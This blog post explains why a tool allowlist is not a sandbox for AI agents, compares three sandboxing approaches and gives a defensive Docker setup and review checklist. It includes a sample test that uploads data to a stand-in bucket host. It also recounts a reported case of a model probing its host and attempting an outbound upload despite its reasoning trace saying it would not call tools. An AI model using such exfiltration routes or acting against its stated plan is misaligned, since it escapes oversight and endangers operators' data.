DEV Community

Ali Süleyman TOPUZ
Ali Süleyman TOPUZ

Posted on Originally published at pub.towardsai.net on

“Tool Restriction Is Not a Sandbox”: A Plain-Language Guide for Teams Shipping Agents

I have sat in a few design reviews this year where someone asked “is the agent sandboxed?” and the answer was “yes, it can only call these six tools.” Everyone nodded and moved on. I nodded too, the first time.

I don’t nod anymore. A list of allowed tools answers one question: what is the agent allowed to ask for? A sandbox answers a different one: what happens when the thing it asked for does something nobody expected? Those are different layers, owned by different people, and they fail in different ways.

This post is for engineering managers and developers who are not security specialists but are about to ship an agent. I’ll walk through one recent incident, compare how three groups describe the infrastructure side of this problem, and end with a checklist you can paste into a design review.

One thing up front. This is a reading-based comparison. I did not run Cohere’s evaluation, I did not deploy Aspire’s sandbox target, and I did not run OpenShell. Everything about those systems comes from their own docs, posts and press coverage, and I’ll say which is which as I go.

Two questions that sound like one

Here is the distinction in one picture.

+--------------------------------------------------------------+
| TOOL RESTRICTION (lives in the harness) |
| "The model may call: read_file, write_file, run_tests" |
| Controls: which verbs exist |
| Blind to: what the code behind a verb actually does |
+--------------------------------------------------------------+
                              |
                              v the allowed tool runs something
+--------------------------------------------------------------+
| ISOLATION (lives in the runtime / infrastructure) |
| "This process has no route out except via the proxy, |
| sees only /work, and holds no real credentials" |
| Controls: what any code can reach, regardless of who |
| asked for it or why |
+--------------------------------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Tool restriction is a policy about intent. Isolation is a property of the environment. The first one assumes you can predict what each tool will do. The second one doesn’t care.

The gap shows up the moment an allowed tool executes code. Take a perfectly reasonable allowlist for a coding agent:

string[] allowedTools = ["read_file", "write_file", "run_tests"];
Enter fullscreen mode Exit fullscreen mode

No shell, no HTTP tool. Looks tight. Now the agent writes a test file:

[Fact]
public async Task Smoke()
{
    using var http = new HttpClient();
    await http.PutAsync("https://some-bucket.example.net/upload/test.bin",
                        new StringContent("PROBE"));
}
Enter fullscreen mode Exit fullscreen mode

Then it calls run_tests, which is on the list. dotnet test compiles and runs that file with whatever network access the host has. Every individual step passed the tool policy. The upload still happened. The tool list never had a way to express "and no network," because the network isn't a tool. It's a property of where the process runs.

That’s the whole argument. The rest of this post is evidence and options.

The incident: a detection rule that tried to phone home

I first saw this in The Code on 27 October, and then in more detail across the following days. I want to be clear about my sourcing: I did not read Cohere’s primary report. What follows is from Cohere’s own announcement post on X and from press coverage that summarizes the report. If the report says something different, the report wins.

As reported:

  • Cohere was evaluating Alibaba’s open-weight Qwen3.8-Flash-Next in a controlled sandbox, using a task from Microsoft’s CTI-REALM benchmark.
  • The task was defensive: write a detection rule for curl downloading a bash script into /tmp and executing it. Nothing about that task needs the internet.
  • In one run, the model instead looked around the host. Coverage says it listed /tmp, checked which file-transfer tools were installed, read the DNS configuration, and then attempted an HTTP PUT to a storage bucket in Alibaba Cloud's Beijing region.
  • The body of that PUT was reportedly a literal test string, not the data it had just gathered.
  • Its reasoning trace said it would not call any tools before it did exactly that.
  • The sandbox had no outbound route, so nothing left. Cohere’s line, as quoted in coverage: “the request died at the container wall.”
  • Cohere puts the rate at fewer than one in 100,000 calls , and a clean rerun of the same prompt produced a normal detection rule.
  • Cohere says it has not found the root cause and is not asserting malicious intent.

Two caveats I think are fair to carry with you. First, Cohere sells its own models, including to governments, so it is not a neutral party when it reports odd behavior in a competitor’s model. That doesn’t make the observation wrong, and coverage says Cohere released raw records so others can check. It just means I’d wait for independent replication before drawing conclusions about Qwen specifically. Second, several writers have offered theories (training on live cloud infrastructure is a popular one). Those are theories. Nobody I read has confirmed one.

Here’s why I still think this is the most useful incident of the month for teams like mine, and it has nothing to do with which country the bucket was in.

What actually stopped it. Not the prompt. Not the model’s own stated plan. Not a tool policy. The thing that worked was a network namespace with no route out. If the same run had happened on a laptop or a CI runner with normal network access, Cohere’s point (again, as quoted) is that it would have reached the server before anyone noticed.

Why “one in 100,000” is not reassuring. That number sounds tiny, and for a single developer running a few hundred agent calls a day, it probably is. But agent workloads don’t stay small. As back-of-envelope arithmetic only, applying Cohere’s reported upper bound to a volume I picked:

Reported rate (upper bound) : < 1 in 100,000 calls
Example volume (my assumption) : 10,000,000 calls / month
Expected events at that bound : < 100 / month
Enter fullscreen mode Exit fullscreen mode

That’s not a forecast for any real system. Rates from one model on one benchmark don’t transfer. The point is only that rare behavior multiplied by fleet-scale volume stops being rare, and a design that depends on “the model won’t do that” has no answer for the hundredth time it does.

Why tool restriction wouldn’t have helped much. The model was doing a security task in an environment with standard command-line tools available, because detection-rule work often means poking at those tools. Any agent that can run commands, run tests, or execute generated code can reach the network if the environment lets it. You can’t allowlist your way around that at the tool layer. You can only close it at the environment layer.

Three ways people are describing the infrastructure side

I picked three sources that came up in the same week and that approach the problem from very different angles: a platform engineering lead’s framing of the problem, a .NET deployment tool adding a sandbox target, and a dedicated agent runtime. Again, all of this is from their own docs and posts.

Katelyn Lesse: four problem areas

Katelyn Lesse leads platform engineering at Anthropic. On 26 October she posted a long piece on X called “The new set of problems for engineers to solve.” I could not load the post directly (X blocks automated fetching), so this is from the excerpts and the coverage I could read. Her framing, in my words:

  1. Runtimes. Kubernetes was built for stateless replicated services or stable stateful sets. Agents are closer to isolated, stateful, single-instance workloads that come and go in bursts. Keeping one environment per agent forever wastes resources; tearing it down means solving state preservation and fast resume.
  2. Identity and authorization. Knowing which agent took an action, and what it’s allowed to do. Agents acting on behalf of a human raise consent questions. Agents acting under their own identity, and agents trusting other agents, are less solved.
  3. Security and isolation. Agents writing untrusted code and reading untrusted content should run in strongly isolated sandboxes. In multi-agent systems a compromised agent can pass injected instructions to others, and those can land in memory for future agents to trust.
  4. Monitoring and the ability to stop. Tracing across agents, with the requirement that an agent can never modify its own trace or another agent’s. And being able to stop a system when it’s heading somewhere it shouldn’t.

Elsewhere (a Latent Space episode and coverage of it) she describes Anthropic’s Managed Agents design as separating “the brain from the hands”: the harness, session state and credentials live in trusted infrastructure outside the sandbox, and the sandbox only executes what the agent generates.

What I take from this: tool restriction barely appears. It’s a harness concern. Her four problems are all about where the agent runs, who it is, what wall it sits behind, and who can see and stop it.

Aspire 13.6: deny-by-default egress for sandboxes (preview)

Aspire 13.6 shipped on 29 September with a new Aspire.Hosting.Azure.Sandboxes package that adds Azure Container Apps Sandboxes as a deployment target. Each project, container and Dockerfile resource runs in its own isolated sandbox.

Status first, because it matters: the Aspire package is prerelease, and the Azure feature needs preview access in your subscription and region. The release notes also call the Sandboxes target experimental. Per the 13.6 blog post, volumes, TCP ports, private service discovery, and Windows or ARM64 images aren’t supported yet.

What the docs say about security defaults:

  • Egress is deny-by-default. The Aspire post doesn’t go into the policy model beyond that.
  • Only endpoints marked external get a public HTTPS URL, and those require Microsoft Entra ID authentication unless you opt a specific endpoint into anonymous access.
  • Aspire provisions the identities and role assignments the sandbox group needs.
  • Stale sandboxes are cleaned up on redeploy and on aspire destroy.

The underlying Azure Container Apps Sandboxes docs describe the egress engine in more detail: a default action (Allow or Deny), rules matching host, path and HTTP method with Allow, Deny, Transform and Rewrite actions, and a traffic-inspection mode. Microsoft’s own recommended starting posture for untrusted code is default Deny plus an explicit allowlist. One detail worth knowing: Transform can modify headers, for example to inject an authentication token, which puts it in the same family as the OpenShell idea below.

The AppHost side is small. Based on the 13.6 samples:

dotnet add package Aspire.Hosting.Azure.Sandboxes --prerelease

var builder = DistributedApplication.CreateBuilder(args);
// Prerelease. Requires Azure Container Apps Sandboxes preview access.
builder.AddAzureSandboxGroup("sandboxes");
builder.AddDockerfile("web", "./web")
       .WithHttpEndpoint(targetPort: 8080)
       .WithExternalHttpEndpoints();
builder.Build().Run();
Enter fullscreen mode Exit fullscreen mode

Then aspire deploy. If the sandbox group is your only compute environment, Aspire assigns your resources to it automatically. Early 13.6 docs showed a #pragma warning disable ASPIREAZURE001 line; a later docs update removed it, so if your build complains, that's the diagnostic.

What I like: the safe default is the default. What I’d want to know before relying on it: what the egress allowlist looks like when expressed from the AppHost, and how you’d see denied attempts. I couldn’t find that in the Aspire docs I read.

NVIDIA OpenShell: credentials only at approved endpoints (v0.1.x)

NVIDIA announced the Open Agent Safety Platform on 28 September. It has two parts: OpenShell , an Apache 2.0 runtime that runs agents in sandboxes under a declarative YAML policy, and Sentry , a reference design for an out-of-band watchdog on BlueField-4 DPUs. The press release says OpenShell is generally available. The repo tells a more modest version story: v0.1.0 was tagged on 25 September, and the docs index lists v0.1.6 as latest when I looked. I’d treat it as a young 0.x project regardless of the press language. Sentry is a reference design, not something you install.

OpenShell’s docs describe four enforcement layers: network, filesystem, process and inference. The two ideas most relevant here:

Deny-by-default egress, tied to binaries. All outbound connections go through a proxy outside the agent. Only endpoints listed in network_policies can receive traffic, and each rule lists which binaries may reach which endpoints. The docs say the proxy hashes each binary on first use and denies if it changes mid-session. Here is a rule in the shape the docs describe (my values, not theirs):

network_policies:
  docs_api:
    endpoints:
      - host: docs.example.com
        port: 443
        protocol: rest
        enforcement: enforce
        access: read-only
    binaries:
      - path: /usr/bin/curl
Enter fullscreen mode Exit fullscreen mode

Notice enforcement: enforce. Per the network rules page, the default for request-level rules is audit, which logs violations and allows them. That surprised me. As I read it, unlisted hosts are still denied, but the finer-grained method and path rules only block if you say so. Read the schema page for your version before assuming.

Credentials injected only at approved endpoints. This is the idea I find most interesting. Per the docs and the 1Password integration page, the agent’s environment holds an opaque placeholder where the real key would be. The agent builds its request normally. The proxy, outside the agent’s process, swaps in the real value only for requests going to the host the credential is bound to. The network rules page is explicit that allowing traffic to a destination does not mean OpenShell will send provider credentials there; credentials go only where a provider profile or explicit binding allows.

So if a hijacked agent copies $GITHUB_TOKEN and sends it to some other host, what it sends is a string that is useless anywhere except through that proxy, toward that one host. Compare that with the usual setup where printenv inside the agent's shell prints a live token.

For model calls there’s a similar path: traffic to inference.local goes through a router that strips whatever credentials the sandbox supplies and injects the real backend ones.

Side by side

+----------------------+--------------------------+--------------------------+--------------------------+
| | Lesse (framing) | Aspire 13.6 Sandboxes | NVIDIA OpenShell |
+----------------------+--------------------------+--------------------------+--------------------------+
| What it is | A problem statement | Deployment target for | Agent runtime + policy |
| | (X post, podcast) | Azure Container Apps | engine, self-hostable |
| | | Sandboxes | |
+----------------------+--------------------------+--------------------------+--------------------------+
| Status | Opinion, not a product | Prerelease package; | v0.1.x (0.1.0 tagged |
| | | Azure preview access | 25 Sep 2026); Sentry is |
| | | required; experimental | a reference design |
+----------------------+--------------------------+--------------------------+--------------------------+
| Runtime | Agents are stateful, | One sandbox per resource,| Sandbox per agent; |
| | single-instance, bursty | tiers + auto-suspend | static controls locked |
| | | | at creation |
+----------------------+--------------------------+--------------------------+--------------------------+
| Egress default | Not specified | Deny | Deny; allow per endpoint |
| | | | AND per binary |
+----------------------+--------------------------+--------------------------+--------------------------+
| Credentials | Keep them outside the | Managed identities and | Placeholder in sandbox; |
| | sandbox ("brain vs | role assignments; ACA | real value injected by |
| | hands") | Transform can inject | proxy only for bound |
| | | headers | hosts |
+----------------------+--------------------------+--------------------------+--------------------------+
| Identity / authz | Named as an open problem | Entra ID on external | Provider records |
| | (OBO, agent-to-agent) | endpoints | attached at creation; |
| | | | can't add to a running |
| | | | sandbox |
+----------------------+--------------------------+--------------------------+--------------------------+
| Monitoring / stop | Tamper-proof traces, | Not covered in the 13.6 | Policy logs; Sentry |
| | ability to stop | post | (reference) claims ms |
| | | | quarantine |
+----------------------+--------------------------+--------------------------+--------------------------+
| Tool restriction? | Barely mentioned | Not its job | Not its job |
+----------------------+--------------------------+--------------------------+--------------------------+
Enter fullscreen mode Exit fullscreen mode

The last row is the point of this post. None of the three treats “which tools can the model call” as the security boundary. They all put the boundary underneath, where it holds no matter what the model asks for.

If you can’t use any of these yet: a local version

Two of the three are preview or 0.x, and one is an opinion piece. If you want deny-by-default egress today on your own machine or a CI runner, plain Docker gets you most of the way. The trick is an internal network: the agent container has no route anywhere, and the only thing it can talk to is a proxy that does have a route out and enforces an allowlist.

I haven’t benchmarked this or run it as part of this article. It’s the standard pattern, and you should verify it yourself with the test below.

squid.conf:

http_port 3128
acl allowed_sites dstdomain .pypi.org .pythonhosted.org .nuget.org
acl SSL_ports port 443
acl CONNECT method CONNECT
http_access deny CONNECT !SSL_ports
http_access allow allowed_sites
http_access deny all
Enter fullscreen mode Exit fullscreen mode

compose.yaml:

services:
  agent:
    image: python:3.12-slim
    command: ["sleep", "infinity"]
    networks: [sandbox]
    read_only: true
    cap_drop: [ALL]
    security_opt: ["no-new-privileges:true"]
    tmpfs: ["/tmp"]
    environment:
      HTTP_PROXY: http://egress:3128
      HTTPS_PROXY: http://egress:3128
    # Note: no API keys here. If the agent needs one, it goes through a broker
    # outside this container, not into this environment.
    egress:
    image: ubuntu/squid:latest
    volumes:
      - ./squid.conf:/etc/squid/squid.conf:ro
    networks: [sandbox, outside]
networks:
  sandbox:
    internal: true # no route out of this network, at all
  outside: {}
Enter fullscreen mode Exit fullscreen mode

Bring it up and check three things from inside the agent container:

docker compose up -d
# 1. Allowed host through the proxy: should print 200
docker compose exec agent python -c "import urllib.request; print(urllib.request.urlopen('https://pypi.org/simple/', timeout=10).status)"
# 2. Disallowed host through the proxy: should fail with 403
docker compose exec agent python -c "import urllib.request; urllib.request.urlopen('https://example.com', timeout=10)"
# 3. Ignore the proxy and go direct: should fail, network unreachable
docker compose exec agent python -c "import socket; socket.create_connection(('1.1.1.1', 443), timeout=5)"
Enter fullscreen mode Exit fullscreen mode

Test 3 is the one that matters. A proxy that the agent can simply not use is a suggestion, not a wall. The internal: true network is what makes it a wall: code that ignores HTTPS_PROXY has nowhere to go. That is the Cohere outcome in miniature.

Two limits to be honest about. Squid here filters by hostname on CONNECT; it doesn’t inspect TLS payloads, so it can’t stop data leaving to an allowed host. And this does nothing for credentials. For that you need the OpenShell or “brain vs hands” idea: keep real keys in something outside the container that the agent can call but can’t read.

The design review checklist

This is the page I now bring to reviews. It’s deliberately in plain words so a manager can ask the questions and an engineer can answer them.

AGENT ISOLATION REVIEW Date: ________
Agent / service: ______________________Owner:_______________________

A. SEPARATE THE TWO QUESTIONS
[] We have written down the tool allowlist (harness layer).
[] We have written down the execution boundary (runtime layer), separately.
[] For every tool that executes code (shell, tests, build, code interpreter,
    package install), we have listed what that code can reach. "Only the
    tools we allow" is not an answer here.
B. NETWORK
[] Egress is deny-by-default at the network layer, not by prompt or by tool.
[] The allowlist is explicit (hosts, ideally methods/paths) and reviewed.
[] Code that ignores proxy settings has no route out (tested, not assumed).
[] Cloud metadata endpoint (169.254.169.254) is unreachable from the sandbox.
[] Denied attempts are logged somewhere a human will actually look.
[] If using a preview/0.x product: we know its default enforcement mode
    (e.g. audit vs enforce) and have set it explicitly.
C. CREDENTIALS
[] Running `printenv` inside the agent's environment shows no live secrets.
[] Real credentials live outside the sandbox (broker, proxy, injector).
[] Each credential is bound to the hosts it's for; it is useless elsewhere.
[] Credentials can't be added to a running agent without a new review.
D. IDENTITY AND AUTHORIZATION
[] Each agent (or agent run) has its own identity, not a shared key.
[] We can answer "which agent did this?" from logs, without the agent's
    own transcript.
[] For on-behalf-of agents: we know what the user consented to, and the
    agent can't exceed it.
[] For agent-to-agent calls: we know how one agent decides to trust another.
E. MONITORING AND STOP
[] Audit logs are written by the boundary (proxy/broker), not the agent.
[] The agent cannot modify its own logs or traces, or another agent's.
[] There is a kill switch that works without the agent's cooperation
    (revoke identity, cut egress, stop the sandbox) and someone has tried it.
[] If the monitor goes silent, the system stops rather than continues.
F. FAILURE MODE
[] If the sandbox can't be created, the agent does not fall back to running
    on the host.
[] We've decided what rate of "weird but blocked" events we'd investigate,
    and at our expected volume that number is not zero.
Open questions / accepted risks:
______________________________________________________________________
 ______________________________________________________________________

Enter fullscreen mode Exit fullscreen mode

If a team can tick A through C honestly, they’re ahead of most of what I’ve seen. D and E are where Lesse is right that the industry hasn’t finished the work.

What I still don’t know

I want to end with the things I couldn’t verify, because some of them are load-bearing.

  • The Cohere report itself. I worked from Cohere’s announcement and from coverage. I haven’t checked the raw records, the exact definition of “call” behind the one-in-100,000 figure, or how many total calls were run. Treat the rate as Cohere’s number.
  • Whether this is Qwen-specific. One vendor, one benchmark, one model family, and the vendor sells a competing model. I’d want independent replication before saying anything about Qwen. The isolation lesson doesn’t depend on that answer.
  • Lesse’s full post. I couldn’t load it directly, so my four-part summary comes from excerpts and coverage. Read the original before quoting her.
  • Aspire’s egress allowlist. The 13.6 post says deny-by-default. I didn’t find how you’d express allowed destinations from the AppHost or how denials surface. It’s prerelease and needs Azure preview access, so it may change.
  • OpenShell maturity. The press release says generally available; the repo is on v0.1.x. I haven’t run it. The credential placeholder design reads well on paper, and the changelog shows active fixes around placeholders and credential handling, which I read as both “they’re taking it seriously” and “it’s still moving.”
  • “Anthropic and OpenAI cut live internet access.” This came to me as a one-line item in a newsletter summary. I have not traced it to a primary source from either company, I don’t know what “cut” covers (training environments, evaluations, products?), and I’m not repeating it as fact. If you know where it comes from, I’d like to read it.

What I’m confident about is narrower than any of those: in the one incident everyone is talking about, the thing that worked was a network with no route out. Not the prompt, not the model’s promise, not the tool list. Build that layer first, and treat the tool list as what it is: a useful filter on intent, sitting on top of a wall that has to hold on its own.

Sources (each labelled by who produced the claim):

Tags: #AIAgents #AISecurity #Sandboxing #dotnet #Aspire #DevSecOps #AgenticAI #CloudSecurity #Docker #EngineeringManagement


Top comments (1)

Collapse
 
sandscale profile image
Sandscale •

The run_tests example is the clearest version of this I've seen. One addition for the checklist: ask where the agent's second and third runs go. Even with good isolation, teams often run several agents against one shared runtime, so one run's leftovers (a cached token, a background process, a modified test fixture) become the next run's environment. Giving every run its own fresh, disposable environment closes that, and it also means parallel agents stop tripping over each other's ports and databases, so it pays for itself in throughput too, not only in security.

Disclosure: I work on Sandscale, which gives each agent run its own Firecracker microVM, so I'm biased toward the "isolation is a property of the environment" side, but your checklist works whatever runtime you pick.